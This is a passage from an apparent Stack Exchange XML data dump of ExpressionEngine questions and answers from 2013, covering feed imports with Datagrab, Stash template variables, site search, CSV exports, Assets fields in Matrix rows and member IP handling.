either 75% of the normal weekly rental or, if it is higher, the quoted Winter Short Break price. Extra nights are charged pro rata of the weekly rental. OSBs can be booked within a calendar month of the start date of the holiday.&amp;amp;lt;BR&amp;amp;gt;&amp;amp;lt;BR&amp;amp;gt;&quot;Last Minute Breaks&quot; (LMB) are available at most properties throughout the &quot;LOW&quot;, &quot;MID&quot;, &quot;HIGH&quot;, &quot;PEAK&quot;, &quot;XMAS&quot; and &quot;NEW YEAR&quot; periods. The price for a 3 night break is either 65% of the normal weekly rental or, if it is higher, the quoted Winter Short Break price. Extra nights are charged pro rata of the weekly rental. LMBs can be booked within one week of the start date of the holiday. &amp;lt;/cpriceinfo&amp;gt;&#xA;&amp;lt;nminprice&amp;gt;310&amp;lt;/nminprice&amp;gt;&#xA;&amp;lt;nmaxprice&amp;gt;575&amp;lt;/nmaxprice&amp;gt;&#xA;&amp;lt;nbedrooms&amp;gt;2&amp;lt;/nbedrooms&amp;gt;&#xA;&amp;lt;lkettle&amp;gt;1&amp;lt;/lkettle&amp;gt;&#xA;&amp;lt;lparkingspace&amp;gt;1&amp;lt;/lparkingspace&amp;gt;&#xA;&amp;lt;lsmoking&amp;gt;0&amp;lt;/lsmoking&amp;gt;&#xA;&amp;lt;nsinglebeds&amp;gt;0&amp;lt;/nsinglebeds&amp;gt;&#xA;&amp;lt;ndoublebeds&amp;gt;1&amp;lt;/ndoublebeds&amp;gt;&#xA;&amp;lt;ntwinbeds&amp;gt;1&amp;lt;/ntwinbeds&amp;gt;&#xA;&amp;lt;nbunkbeds&amp;gt;0&amp;lt;/nbunkbeds&amp;gt;&#xA;&amp;lt;nfamilybeds&amp;gt;0&amp;lt;/nfamilybeds&amp;gt;&#xA;&amp;lt;nmaxsleeps&amp;gt;4&amp;lt;/nmaxsleeps&amp;gt;&#xA;&amp;lt;cproppostcode&amp;gt;BD23 5PN&amp;lt;/cproppostcode&amp;gt;&#xA;&amp;lt;/cottage&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I've seen that there is an add-on called Datagrab, and I am assuming this will be handle this kind of import?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see how I can map most of those fields, so that shouldn't be a problem. Where I am a bit unsure is that the images for each entry are stored as urls in a separate csv feed that looks like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nid,cURL,tUpdated,nPosition&#xA;10006,http://sc_13279413350143_10006_01.jpg,2012-01-30,2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now will it be possible to pull those images in the entries that are created via the initial XML import? It would need to match the &quot;nid&quot; custom field (I create) to hold the &quot;nid&quot; value from the XML and match it with the &quot;nid&quot; in the csv image import. Also it would need to order them as per the nPosition value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm hoping this is possible, because there's around 2000 entries that need to be created, and I really do not fancy doing so by hand!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2013-05-10T21:21:53.637" Title="Creating entries from csv &amp; XML feeds" Tags="|import|datagrab|xml|csv|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9198" PostTypeId="2" ParentId="9194" CreationDate="2013-04-10T18:00:37.907" Score="1" Body="&lt;p&gt;If you don't want to use Stash, you could just do it with &lt;code&gt;no_results&lt;/code&gt; and an embed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Homepage template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;promos&quot; ...}&#xA;  {if no_results}&#xA;    {embed=&quot;product&quot;}&#xA;  {/if}&#xA;&#xA;  &amp;lt;div id=&quot;promo&quot;&amp;gt;&#xA;     ...&#xA;     {promo_content}&#xA;     ...&#xA;  &amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Product embed template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; ...}&#xA;  &amp;lt;div id=&quot;product&quot;&amp;gt;&#xA;    ...&#xA;    {product_content}&#xA;    ...&#xA;  &amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-04-10T18:00:37.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9199" PostTypeId="2" ParentId="9195" CreationDate="2013-04-10T18:03:52.683" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories&quot; rel=&quot;nofollow&quot;&gt;GWcode Categories&lt;/a&gt; may be more helpful to you.&lt;br&gt;&#xA;You can do a whole lot more with categories than the native solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would be very surprised if it couldn't do what you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;OR&lt;/strong&gt;&lt;br&gt;&#xA;Use &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Get &lt;em&gt;all&lt;/em&gt; the categories you need, don't worry about the order.&lt;br&gt;&#xA;Once they are stashed, they become one single list.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;categories&quot; parse_tags=&quot;yes&quot;}&#xA;  {exp:channel:categories category_group=&quot;1|2&quot;}&#xA;    {stash:name}{category_name}{/stash:name}&#xA;  {/exp:channel:categories}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then just output them all in the order you need.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;{exp:stash:get_list name=&quot;categories&quot; orderby=&quot;name&quot;}&#xA;  &amp;lt;li&amp;gt;{name}&amp;lt;/li&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2013-04-10T18:09:40.427" LastActivityDate="2013-04-10T18:09:40.427" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9200" PostTypeId="2" ParentId="9193" CreationDate="2013-04-10T18:12:11.687" Score="0" Body="&lt;p&gt;I think:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['language'] = 'french';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;would work. Where variable value will be the language folder name as for the &quot;system/expressionengine/language/french&quot; the language variable value will be 'french'&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-04-10T18:12:11.687" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9201" PostTypeId="1" AcceptedAnswerId="9205" CreationDate="2013-04-10T18:15:59.263" Score="1" ViewCount="235" Body="&lt;p&gt;I am using the simple search by Expression Engine and the searches are fine, but they are just returning title results and not searching the body content. I have the excerpt search in the channel properties set to the right channel field in the channel preferences, but I am not sure if there is anything else I need to do.  Below is my search code and my search results code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SEARCH CODE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form channel=&quot;blog|documents|static|overview|company|products|media|services|support|solutions&quot; result_page=&quot;search/results&quot;}&#xA;          &amp;lt;div class=&quot;icon&quot;&amp;gt;&amp;lt;img src=&quot;{site_url}assets/img/search.png&quot; border=&quot;0&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;          &amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot; id=&quot;keywords&quot; placeholder=&quot;Search Site&quot;&amp;gt;&#xA;        {/exp:search:simple_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SEARCH RESULTS CODE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:search_results switch=&quot;resultRowOne|resultRowTwo&quot;}&#xA;            {if count == 1}&amp;lt;ul&amp;gt;{/if}&#xA;              &amp;lt;li&amp;gt;&#xA;                &amp;lt;strong&amp;gt;&amp;lt;a href=&quot;{auto_path}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/strong&amp;gt;&#xA;                &amp;lt;p&amp;gt;{auto_path}&amp;lt;/p&amp;gt;&#xA;              &amp;lt;/li&amp;gt;&#xA;            {if count &amp;gt; 0 &amp;amp;&amp;amp; count == total_results}&amp;lt;/ul&amp;gt;{/if}&#xA;&#xA;        {/exp:search:search_results} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="804" LastActivityDate="2013-04-10T19:12:14.363" Title="simple search results not including body content" Tags="|simple-search|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9202" PostTypeId="2" ParentId="9201" CreationDate="2013-04-10T18:20:43.060" Score="0" Body="&lt;p&gt;You have &lt;code&gt;{auto_path}&lt;/code&gt; where your  &lt;code&gt;{excerpt}&lt;/code&gt; should be.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-04-10T18:20:43.060" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9203" PostTypeId="2" ParentId="9197" CreationDate="2013-04-10T18:37:47.233" Score="1" Body="&lt;p&gt;Yes, you just run your initial import to get your properties entries into the system, storing the &lt;code&gt;nid&lt;/code&gt; as a custom field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then run a &lt;em&gt;second&lt;/em&gt; import with the option to update existing entries using &lt;code&gt;nid&lt;/code&gt; to map the image data to the correct existing entry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Datagrab will work and is a great add-on. Solspace Importer is also very nice.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-04-10T18:37:47.233" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9204" PostTypeId="1" CreationDate="2013-04-10T19:09:05.193" Score="3" ViewCount="95" Body="&lt;p&gt;Here's the basic scenario I'm looking at: Someone comes to the website (which features various journal and news articles), and can look at a certain number of articles &quot;for free&quot; for a particular length of time (say 30 days). However, once they hit that number of articles within the length of time, the site displays a registration form instead of any articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, if someone is a registered member of the site and logged in to their account, they have unrestricted access and can read as many articles as they want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a readership/subscription model similar to the one employed by &lt;a href=&quot;http://dish.andrewsullivan.com/&quot; rel=&quot;nofollow&quot;&gt;http://dish.andrewsullivan.com/&lt;/a&gt;, FWIW.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can envision how this all works -- it's a pretty straightforward membership/registration set-up -- &lt;strong&gt;except&lt;/strong&gt; for the part about tracking/counting the number of articles that someone who isn't logged in has read, and then doing something once they hit a pre-defined limit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="567" LastActivityDate="2013-05-11T03:54:57.507" Title="Control how many articles a user can see if they're not logged in?" Tags="|members|registration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9205" PostTypeId="2" ParentId="9201" CreationDate="2013-04-10T19:12:14.363" Score="0" Body="&lt;p&gt;Just add &lt;code&gt;search_in=&quot;everywhere&quot;&lt;/code&gt; to your search form to search in the titles and entries.&lt;br&gt;&#xA;The default is &lt;code&gt;titles&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-04-10T19:12:14.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9206" PostTypeId="2" ParentId="9162" CreationDate="2013-04-10T19:16:48.987" Score="1" Body="&lt;p&gt;It appears to be a bug in CKEditor. If you can, try upgrading to the latest version of Wygwam (v2.7), which is using a slightly newer version of CKEditor that includes fixes for greater IE10 compatibility.&lt;/p&gt;&#xA;" OwnerUserId="567" LastActivityDate="2013-04-10T19:16:48.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9207" PostTypeId="1" AcceptedAnswerId="9242" CreationDate="2013-04-10T19:28:25.540" Score="2" ViewCount="140" Body="&lt;p&gt;I upgraded to Assets 2.1 yesterday and am experiencing a problem when a non-required Assets 2.1 field in a Matrix row is empty. On a single-entry template &lt;strong&gt;(limit=“1” and require_entry=“yes” parameters in my exp:channel:entries tag)&lt;/strong&gt; this situation is causing the {if no_results} conditional to be invoked. Selecting a file for the empty, non-required, Assets field and re-saving the entry fixes the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for your help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Matrix 2.5.3&#xA;ExpressionEngine 2.5.2 Build 20120606&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is template code that will trigger the issue:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;videos&quot; limit=&quot;1&quot; status=&quot;open&quot; disable=&quot;categories|category_fields|pagination|member_data&quot; require_entry=&quot;yes&quot;}{if no_results}{redirect=&quot;404&quot;}{/if}&amp;lt;!doctype html&amp;gt;&#xA;&amp;lt;html lang=&quot;en&quot;&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&amp;lt;title&amp;gt;Page Title&amp;lt;/title&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&#xA;&amp;lt;h2&amp;gt;Videos&amp;lt;/h2&amp;gt;&#xA;&#xA;{sidebar_videos limit=&quot;1&quot;}&#xA;&#xA;&amp;lt;iframe src=&quot;//www.youtube.com/embed/{youtube_video_id}&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&#xA;&amp;lt;p&amp;gt;{youtube_caption}&amp;lt;/p&amp;gt;&#xA;&#xA;{/sidebar_videos}&#xA;&#xA;&amp;lt;h3&amp;gt;All Videos&amp;lt;/h3&amp;gt;&#xA;&#xA;&amp;lt;ul id=&quot;videothumbs&quot;&amp;gt;&#xA;&#xA;{sidebar_videos}&#xA;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;/features/videos/{entry_id}/{row_id}&quot; title=&quot;{youtube_title}”&amp;gt;{youtube_thumbnail}&amp;lt;img src=&quot;{url}&quot; alt=&quot;{alt_text}&quot;&amp;gt;{/youtube_thumbnail}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;{/sidebar_videos}&#xA;&#xA;&amp;lt;/ul&amp;gt;&#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{sidebar_videos}&lt;/code&gt; is my Matrix field, which is not required. &lt;code&gt;{youtube_thumbnail}&lt;/code&gt; is the problem Assets field within the Matrix field. The other columns in the Matrix field are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{youtube_title}&lt;/code&gt; (Text/required)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{youtube_video_id}&lt;/code&gt; (Text/required)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{youtube_caption}&lt;/code&gt; (Wygwam/required)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{youtube_thumbnail}&lt;/code&gt; (Assets/not required)&lt;/p&gt;&#xA;" OwnerUserId="1317" LastEditorUserId="1317" LastEditDate="2013-04-11T14:40:20.220" LastActivityDate="2013-04-12T17:41:41.040" Title="Problem with empty, non-required Assets 2.1 field in a Matrix row" Tags="|assets|matrix|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9208" PostTypeId="2" ParentId="9001" CreationDate="2013-04-10T19:45:41.717" Score="1" Body="&lt;p&gt;I heard back from ExpressionEngine support about this question - There is actually no way to do it from the entries tag. As Jean St-Amand said in the comments, you would need to have a custom query. &lt;/p&gt;&#xA;" OwnerUserId="830" LastActivityDate="2013-04-10T19:45:41.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9209" PostTypeId="1" AcceptedAnswerId="9249" CreationDate="2013-04-10T19:47:40.223" Score="1" ViewCount="1062" Body="&lt;p&gt;I'm using Stash 2.3.6 beta. Can somebody explain why this works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;var1&quot;}no{/exp:stash:set}&#xA;{exp:stash:set name=&quot;var1&quot;}yes{/exp:stash:set}&#xA;{exp:stash:get name=&quot;var1&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where I get &quot;yes&quot; as output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this does not:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;var1&quot;}no{/exp:stash:set}&#xA;{exp:channel:entries channel=&quot;promos&quot; limit=&quot;1&quot;}&#xA;    {exp:stash:set name=&quot;var1&quot; replace=&quot;yes&quot;}yes{/exp:stash:set}&#xA;{/exp:channel:entries}&#xA;{exp:stash:get name=&quot;var1&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where I get &quot;no&quot; as output, but expect &quot;yes&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing it has to do with the parse order, and that channel:entries happens after everything outside of it is parsed. I looked at the parse order docs (The Template Engine), and it looks like channel:entries are processed on step 15, module and plugin tags. Not sure where Stash gets processed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, speaking of which, I did try adding process=&quot;end&quot; to the get. That got me a funky looking output:  {357b280a38bad6479603b312799efcb0422985159} &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1126" LastActivityDate="2013-04-11T19:30:12.017" Title="Understanding Stash Variables" Tags="|stash|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9210" PostTypeId="1" CreationDate="2013-04-10T23:04:00.783" Score="1" ViewCount="579" Body="&lt;p&gt;I've got Cookie Plus and Mo' Variables installed. I'm trying to set, get and increment a value in a cookie. Here's my test script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{exp:cookie_plus:get name=&quot;aa_seq&quot;}&quot; == &quot;&quot;}&#xA;{exp:cookie_plus:set name=&quot;aa_seq&quot; value=&quot;1&quot; seconds=&quot;0&quot;}&#xA;Setting&amp;lt;br&amp;gt;&#xA;{/if}&#xA;&#xA;Cookie: {exp:cookie_plus:get name=&quot;aa_seq&quot;}&amp;lt;br&amp;gt;&#xA;{exp:cookie_plus:set name=&quot;aa_seq&quot; value=&quot;&amp;lt;?php echo {exp:cookie_plus:get name=&quot;aa_seq&quot;} + 1; ?&amp;gt;&quot; seconds=&quot;0&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried it with PHP on input and output, and they both FUBAR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would appreciate any pearls of wisdom. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1126" LastActivityDate="2013-05-12T17:22:16.430" Title="Incrementing Value in Cookie" Tags="|cookies|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9211" PostTypeId="1" AcceptedAnswerId="9220" CreationDate="2013-04-10T23:26:57.153" Score="2" ViewCount="170" Body="&lt;p&gt;The reason for this question is that I was running EE v2.3 which did not have ipv6 support. So users with those ip address where given the ip address of 0.0.0.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have now upgraded to EE v2.5 which has ipv6 support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I want to know are those members with ip addresses of 0.0.0.0 going to be able to use the site as a member now? Is their ip address going to be updated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, what are my options? Would see strange if a users IP address is set once and never updated?&lt;/p&gt;&#xA;" OwnerUserId="1319" LastActivityDate="2013-05-11T06:21:54.067" Title="Does a Members IP address get updated?" Tags="|members|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9212" PostTypeId="2" ParentId="9179" CreationDate="2013-04-10T23:34:01.017" Score="4" Body="&lt;p&gt;Channel Videos 3.1.0 introduced a Module Control Panel where you can control all of those available parameters from a central point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no need to use template parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GysDJ.png&quot; alt=&quot;Channel Videos MCP&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="934" LastActivityDate="2013-04-10T23:34:01.017" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9213" PostTypeId="1" AcceptedAnswerId="9230" CreationDate="2013-04-10T23:43:33.693" Score="3" ViewCount="769" Body="&lt;p&gt;I'm trying to export a CSV of my members using Solspace User.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works fine, except that when I open the CSV in Excel, it actually shows the quotes around the values. I know that obviously my template has quotes around each value, but some addresses have commas in them - without the quotes, it throws off the CSV.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My template looks like this: (I've added whitespace for readability).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ifelse parse=&quot;inward&quot;}&#xA;  {if group_id == 1 OR group_id == 6}&#xA;&#xA;    {exp:http_header content_type=&quot;text/csv&quot;}&#xA;&#xA;    email, screen_name, address,&#xA;    {exp:user:users limit=&quot;100000&quot;}&#xA;      &quot;{email}&quot;, &quot;{screen_name}&quot;, &quot;{address}&quot;,&#xA;    {/exp:user:users}&#xA;&#xA;  {if:else}&#xA;    {redirect=&quot;404&quot;}&#xA;  {/if}&#xA;{/exp:ifelse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Has anyone tried to do this sort of thing? Am I missing something obvious?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When opening in Excel, it looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;email             | screen_name  | address&#xA;------------------+--------------+------------------------&#xA;name@domain.com   | &quot;John Smith&quot; | &quot;123 Street, Somewhere&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When using Finder's Quick Look, it looks just fine (no quotes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if this is a general CSV issue, an issue with EE or an Excel thing.&lt;br&gt;&#xA;Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;br&gt;&#xA;Actually, the first column doesn't show the quotes, but the rest do. Which I really don't understand.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2013-04-11T12:47:01.017" LastActivityDate="2013-04-11T14:12:01.623" Title="Formatting a CSV using Channel Entries" Tags="|channel-entries|templates|solspace-user|csv|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9214" PostTypeId="2" ParentId="9204" CreationDate="2013-04-11T01:11:29.583" Score="1" Body="&lt;p&gt;The article view can be tracked with the IP address of the not logged in user. With the every view of the article, you can record the IP address, view count for article and article id (entry id).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So each time, the non-logged in user is going to view an article, a simple query can be run to check if that IP address exceeded the limit if yes just use the {redirect=&quot;registration_page&quot;}.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-04-11T01:11:29.583" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9215" PostTypeId="2" ParentId="9213" CreationDate="2013-04-11T02:33:35.273" Score="1" Body="&lt;p&gt;This is an Excel issue. If you open the file by double-clicking or dropping directly on Excel, you'll see delimiters. If you import the file, Excel will ask you to ID the delimiters and remove them.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-04-11T02:33:35.273" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9216" PostTypeId="1" CreationDate="2013-04-11T02:43:12.167" Score="2" ViewCount="241" Body="&lt;p&gt;Just wondering if there is scope to have stock control ability on product variations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Useful for a scenario like mag wheels for cars:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simmons Xtreme Chrome Mag (example model)&#xA; - 17&quot; (3 available)&#xA; - 18&quot; (2 available)&#xA; - 19&quot; (7 available)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers.&#xA;=)&lt;/p&gt;&#xA;" OwnerUserId="1280" LastActivityDate="2013-04-11T09:27:11.297" Title="Expresso Store: Stock Control for Product Variations" Tags="|expresso-store|shopping-cart|out-of-stock|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9217" PostTypeId="2" ParentId="9216" CreationDate="2013-04-11T03:27:05.043" Score="2" Body="&lt;p&gt;If you add a product and choose Variation you can choose to control stock for each variant. &#xA;I have attached a screenshot of an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jtdst.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-04-11T03:27:05.043" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9218" PostTypeId="2" ParentId="9126" CreationDate="2013-04-11T03:42:17.740" Score="2" Body="&lt;p&gt;In the Control Panel you can goto Store &gt; General &gt; then scroll down to the bottom and look for &quot;Empty cart on member logout&quot; and change that setting to No. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-04-11T03:42:17.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9219" PostTypeId="1" AcceptedAnswerId="9225" CreationDate="2013-04-11T04:24:10.813" Score="0" ViewCount="90" Body="&lt;p&gt;Assets isn't indexing and showing thumbnails or uploading if I'm logged in to CP with www…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read elsewhere that www.example.com and &lt;a href=&quot;http://example.com&quot; rel=&quot;nofollow&quot;&gt;http://example.com&lt;/a&gt; are treated as separate domains but is there a simple solution? I have all paths in EE set without www. including the CP url and I'm not forcing either with .htaccess&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can remember to login without www. but cant expect my clients to remember.&lt;/p&gt;&#xA;" OwnerUserId="305" LastActivityDate="2013-04-11T10:53:48.913" Title="Assets not indexing under www but does without www" Tags="|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9220" PostTypeId="2" ParentId="9211" CreationDate="2013-04-11T06:05:11.883" Score="1" Body="&lt;p&gt;No, the IP Address won't be updated, generally speaking. If you are using a different membership module besides the one built in to ExpressionEngine, then maybe. But generally speaking, ExpressionEngine (EE) logs the IP Address the user was at when they created their account or when they are logged in, but it doesn't require the same IP Address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can or you can log-in from any ip_address, unless you've put blockers in place to restrict to specific IPs. The control panel option for tracking ip_addresses reads:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Require IP Address and User Agent for Login?&lt;/strong&gt; Prevents users from&#xA;  logging in unless their browser generates IP Address and User Agent&#xA;  data. This keeps hackers from logging in using direct socket&#xA;  connections.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As it states, it prevents &lt;code&gt;socket&lt;/code&gt; use, and while it does log current IPs, it doesn't do member matching. At least not to my knowledge. Checking my Control Panel logs, I can see that I've logged in from at least 7 different ip_address, though the IP Address on my account profile, remains my home ip_address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if you are using Forums, this maybe different. We've never used EE Forums for clients, so I can't comment. But generally speaking, the &lt;code&gt;ip_address&lt;/code&gt; is used for basic security, like you could ban a country or a block of IPs, that have been problematic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you should be fine, unless you have other restrictions by ip_address in place.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-04-11T06:05:11.883" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
